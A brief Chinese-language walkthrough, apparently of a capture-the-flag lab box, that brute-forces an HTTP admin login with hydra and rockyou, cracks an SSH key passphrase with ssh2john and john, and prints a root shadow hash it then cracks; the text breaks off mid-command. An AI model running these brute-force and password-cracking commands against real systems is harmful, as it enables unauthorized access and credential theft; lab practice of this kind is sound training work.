还是这种简单,一眼就知道打80进shell
不会hydra的人有难了
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.18.74 http-post-form "/admin/:user=^USER^&pass=^PASS^:F=invalid" -V
一点错误都不能有
解密rsa 得到rockinroll
ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
root:x:0:0:root:/root:/bin/bash
root:$6$zdk0.jUm$Vya24cGzM1duJkwM5b17Q205xDJ47LOAg/OpZvJ1gKbLF8PJBdKJA4a6M.JYPUTAaWu4infDjI88U9yUXEVgL.:18490:0:99999:7:::
cat 有权限,拉下了破解
└─# john password --wordlist=/usr/share/wordlis ...
